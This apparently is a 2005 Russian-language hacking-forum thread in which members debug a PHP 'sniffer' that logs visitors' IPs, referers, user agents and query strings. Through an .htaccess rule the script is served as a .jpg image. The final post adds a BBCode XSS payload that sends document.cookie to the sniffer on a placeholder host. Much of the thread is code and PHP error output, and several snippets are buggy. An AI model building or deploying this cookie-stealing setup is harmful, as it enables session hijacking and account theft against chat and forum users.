ИСХОДНИК php СНИФЕРА

Discussion in 'С/С++, C#, Rust, Swift, Go, Java, Perl, Ruby' started by (-=util=-), 12 Mar 2005.

  1. Trinux

    Trinux Members of Antichat

    Joined:
    26 Nov 2004
    Messages:
    1,403
    Likes Received:
    296
    Reputations:
    364
    Что значит ограничить? Чтобы файл содержал только 10 последних записей?Тогда примерно так
    <?
    $f1=file($_SERVER['DOCUMENT_ROOT'].'/log.txt');
    $f1[]="<font color=#009900><b>Date:</b> $date</font>\t|$uid|\t<font color=red><b>IP:</b> $ip <b>Real IP(if use proxy):</b>($real_ip)</font><br>\t<font color=red><b>QUERY:</b></font>$query\t<br>$browser\t<br><font color=red><b>REFERER:</b></font>$otkuda\t$win\n<hr color=#666666>";
    $f2=fopen($_SERVER['DOCUMENT_ROOT'].'/log.txt', 'w');
    for($i=count($f1);$i>count($f1)-10;$i--){
    fwrite($f2, $f1[$i]."\n");
    }
    fclose($f);
    ?>
     
    _________________________
  2. (-=util=-)

    (-=util=-) Banned

    Joined:
    2 Dec 2004
    Messages:
    337
    Likes Received:
    8
    Reputations:
    2
    хмм... Вот что получается

    Warning: fwrite(): supplied argument is not a valid stream resource in....

    Гдето ошибка. Редактор говорит что тут
    начинается...

    for($i=count($f1);$i>count($f1)-10;$i--){
    fwrite($f2, $f1[$i]."\n");
    }
    fclose($f);
    ?>
     
    #22 (-=util=-), 14 Mar 2005
    Last edited: 14 Mar 2005
  3. (-=util=-)

    (-=util=-) Banned

    Joined:
    2 Dec 2004
    Messages:
    337
    Likes Received:
    8
    Reputations:
    2
    В общем это непашет =\

    PHP:
    <?
    $date=date("[D|d/m/Y|H:i]");
    $ip=$_SERVER["REMOTE_ADDR"];
    $query=$_SERVER["QUERY_STRING"];
    $real_ip=getenv("HTTP_X_FORWARDED_FOR");
    $otkuda=getenv("HTTP_REFERER");
    $browser=getenv("HTTP_USER_AGENT");
    $win=getenv("windir");
    $f1=file($_SERVER["DOCUMENT_ROOT"]."log.html");
    $f1[]="<font color=#009900><b>Date:</b> $date</font>\t|$uid|\t<font color=red><b>IP:</b> $ip <b>Real IP(if use proxy):</b>($real_ip)</font><br>\t<font color=red><b>QUERY:</b></font>$query\t<br>$browser\t<br><font color=red><b>REFERER:</b></font>$otkuda\t$win\n<hr color=#666666>";
    $f2=fopen($_SERVER["DOCUMENT_ROOT"]."log.html""w");
    for(
    $i=count($f1);$i>count($f1)-10;$i--)
    {
    fwrite ($f2$f1[$i]."\n");
    }
    fclose ($f);
    print (
    " <img src='2.jpg'> ");
    ?> 
     
  4. Trinux

    Trinux Members of Antichat

    Joined:
    26 Nov 2004
    Messages:
    1,403
    Likes Received:
    296
    Reputations:
    364
    Не
    $f1=file($_SERVER["DOCUMENT_ROOT"]."log.html");
    а
    $f1=file($_SERVER["DOCUMENT_ROOT"]."/log.html");

    и вообще в следующий раз хоть ошибку выкинь =)
     
    _________________________
  5. (-=util=-)

    (-=util=-) Banned

    Joined:
    2 Dec 2004
    Messages:
    337
    Likes Received:
    8
    Reputations:
    2
    fclose($f); -- это тоже неправильно :) fclose($f2); -- это правильно :) И оказывается надо указать путь к лог файлу относительно коренного каталога сайта... :eek:
    Но выводит одну последнюю запись.
    Теперь вот что получилось и без ошибок:
    PHP:
    <? 
    // переменные пропускаю
    $f1=file($_SERVER["DOCUMENT_ROOT"]."/onelinetoolz/sn/log.html"); 
    $f1[]="<font color=#009900><b>Date:</b> $date</font>\t|$uid|\t<font color=red><b>IP:</b> $ip <b>Real IP(if use proxy):</b>($real_ip)</font><br>\t<font color=red><b>QUERY:</b></font>$query\t<br>$browser\t<br><font color=red><b>REFERER:</b></font>$otkuda\t$win\n<hr color=#666666>"
    $f2=fopen($_SERVER["DOCUMENT_ROOT"]."/onelinetoolz/sn/log.html""w"); 
    for(
    $i=count($f1);$i>count($f1)-10;$i--) 

    fwrite ($f2$f1[$i]."\n"); 

    fclose($f2);
    print (
    " <img src='2.jpg'> ");
    ?>
     
  6. rsha1988

    rsha1988 Elder - Старейшина

    Joined:
    3 Jan 2005
    Messages:
    230
    Likes Received:
    3
    Reputations:
    0
    А в картинку этот код переделать можно или нет?
     
  7. (-=util=-)

    (-=util=-) Banned

    Joined:
    2 Dec 2004
    Messages:
    337
    Likes Received:
    8
    Reputations:
    2
    дык для этого там файл и есть .htaccess который интерпретирует картинку как скрипт php :)
     
  8. rsha1988

    rsha1988 Elder - Старейшина

    Joined:
    3 Jan 2005
    Messages:
    230
    Likes Received:
    3
    Reputations:
    0
    В чате SP CHAT - php картинка не работатет....
     
  9. rsha1988

    rsha1988 Elder - Старейшина

    Joined:
    3 Jan 2005
    Messages:
    230
    Likes Received:
    3
    Reputations:
    0
    Ну тоесть этот код:
    \x3cimg src="http\x3a//******.fatal.ru/*****me.php" name="imaga"\x3e
    перестает работать если формать файла будит php...
     
  10. (-=util=-)

    (-=util=-) Banned

    Joined:
    2 Dec 2004
    Messages:
    337
    Likes Received:
    8
    Reputations:
    2
    ненадо me.php переименуй в me.jpg и всёравно будет пахать =) Всё дело в .htaccess :) Если поддержка на хостинге есть то ок всё. Меняй смело расширение :)
     
  11. rsha1988

    rsha1988 Elder - Старейшина

    Joined:
    3 Jan 2005
    Messages:
    230
    Likes Received:
    3
    Reputations:
    0
    Fatal.ru - бесит!!!!!!
    arning: file(): Unable to access /www/onelinetoolz/sn/log.html in /www2/s/sa/salogta.fatal.ru/site/sniffer/me.jpg on line 3
    Warning: file(/www/onelinetoolz/sn/log.html): failed to open stream: No such file or directory in /www2/s/sa/salogta.fatal.ru/site/sniffer/me.jpg on line 3
    Warning: fopen(): SAFE MODE Restriction in effect. The script whose uid is 73095 is not allowed to access /www owned by uid 0 in /www2/s/sa/salogta.fatal.ru/site/sniffer/me.jpg on line 5
    Warning: fopen(/www/site/sniffer/log.html): failed to open stream: No such file or directory in /www2/s/sa/salogta.fatal.ru/site/sniffer/me.jpg on line 5
    Warning: fwrite(): supplied argument is not a valid stream resource in /www2/s/sa/salogta.fatal.ru/site/sniffer/me.jpg on line 8
    Warning: fwrite(): supplied argument is not a valid stream resource in /www2/s/sa/salogta.fatal.ru/site/sniffer/me.jpg on line 8
    Warning: fwrite(): supplied argument is not a valid stream resource in /www2/s/sa/salogta.fatal.ru/site/sniffer/me.jpg on line 8
    Warning: fwrite(): supplied argument is not a valid stream resource in /www2/s/sa/salogta.fatal.ru/site/sniffer/me.jpg on line 8
    Warning: fwrite(): supplied argument is not a valid stream resource in /www2/s/sa/salogta.fatal.ru/site/sniffer/me.jpg on line 8
    Warning: fwrite(): supplied argument is not a valid stream resource in /www2/s/sa/salogta.fatal.ru/site/sniffer/me.jpg on line 8
    Warning: fwrite(): supplied argument is not a valid stream resource in /www2/s/sa/salogta.fatal.ru/site/sniffer/me.jpg on line 8
    Warning: fwrite(): supplied argument is not a valid stream resource in /www2/s/sa/salogta.fatal.ru/site/sniffer/me.jpg on line 8
    Warning: fwrite(): supplied argument is not a valid stream resource in /www2/s/sa/salogta.fatal.ru/site/sniffer/me.jpg on line 8
    Warning: fwrite(): supplied argument is not a valid stream resource in /www2/s/sa/salogta.fatal.ru/site/sniffer/me.jpg on line 8
    Warning: fclose(): supplied argument is not a valid stream resource in /www2/s/sa/salogta.fatal.ru/site/sniffer/me.jpg on line 10
     
  12. (-=util=-)

    (-=util=-) Banned

    Joined:
    2 Dec 2004
    Messages:
    337
    Likes Received:
    8
    Reputations:
    2
    заваливайся ко мне в аську :)
     
  13. Trinux

    Trinux Members of Antichat

    Joined:
    26 Nov 2004
    Messages:
    1,403
    Likes Received:
    296
    Reputations:
    364
    Епта =) rsha1988 =) chmod 0666 log.html =)))
     
    _________________________
  14. (-=util=-)

    (-=util=-) Banned

    Joined:
    2 Dec 2004
    Messages:
    337
    Likes Received:
    8
    Reputations:
    2
    Епта а у меня так снифер и ламирит вместе сомной. только последнй 1 выводит. ;)
     
  15. (-=util=-)

    (-=util=-) Banned

    Joined:
    2 Dec 2004
    Messages:
    337
    Likes Received:
    8
    Reputations:
    2
    Мужики... ! Херовато получается =) Каждая запись ложится поверх (затирая) предыдущей. т.е. в логах остаётся только одна последняя... я незнаю чё делать. Я наверно достал =).
     
  16. Trinux

    Trinux Members of Antichat

    Joined:
    26 Nov 2004
    Messages:
    1,403
    Likes Received:
    296
    Reputations:
    364
    Блин, ну сделай вместо
    $f2=fopen($_SERVER["DOCUMENT_ROOT"]."/onelinetoolz/sn/log.html", "w");
    for($i=count($f1);$i>count($f1)-10;$i--)
    {
    fwrite ($f2, $f1[$i]."\n");
    }
    так например. Неужели самому сложно додуматься
    $f2=fopen($_SERVER["DOCUMENT_ROOT"]."/onelinetoolz/sn/log.html", "w");
    for($i=count($f1);$i>count($f1)-10;$i--) {
    $f3=$f3."\n".$f1[$i];
    }
    fwrite ($f2, $f3."\n");
     
    _________________________
  17. PEPSICOLA

    PEPSICOLA . . . . . 2L . . . . .

    Joined:
    14 Oct 2004
    Messages:
    1,025
    Likes Received:
    823
    Reputations:
    368
    (-=util=-), спасибо тебе большооооое за сниффер! =)
    Кстати уже есть возможность выборочного удаления?
     
  18. sosk4

    sosk4 New Member

    Joined:
    12 Mar 2005
    Messages:
    13
    Likes Received:
    2
    Reputations:
    2
    Когда открываешь файл, то делай не W а а+ тогда затирать не будет...
     
  19. Trinux

    Trinux Members of Antichat

    Joined:
    26 Nov 2004
    Messages:
    1,403
    Likes Received:
    296
    Reputations:
    364
    2 sosk4
    Умник, сказано же, нужно оставлять только 10 последних. И причем тут 'a+'? Ты сущность символа '+' после 'a' знаешь?
     
    _________________________
  20. RetRon

    RetRon New Member

    Joined:
    18 Mar 2005
    Messages:
    15
    Likes Received:
    2
    Reputations:
    4
    Народ скажите как устанавливаеться сниффер

    просто скинуть sn в корневую дерикторию?

    www.ХОСТ.ru/sn/index.html

    поменять строку

    print (" <img src='2.jpg'> ");

    на

    print (" <img src='www.ХОСТ.ru/2.jpg'> ");

    и все?

    а Xss будет

    [ Email=mailto:[email protected] ]sssssss[/EMAIL]' style='background:url(javaSCript:document.images[1].scr="http://www.ХОСТ.ru/sn/me.jpg?k:"+document.cookie)'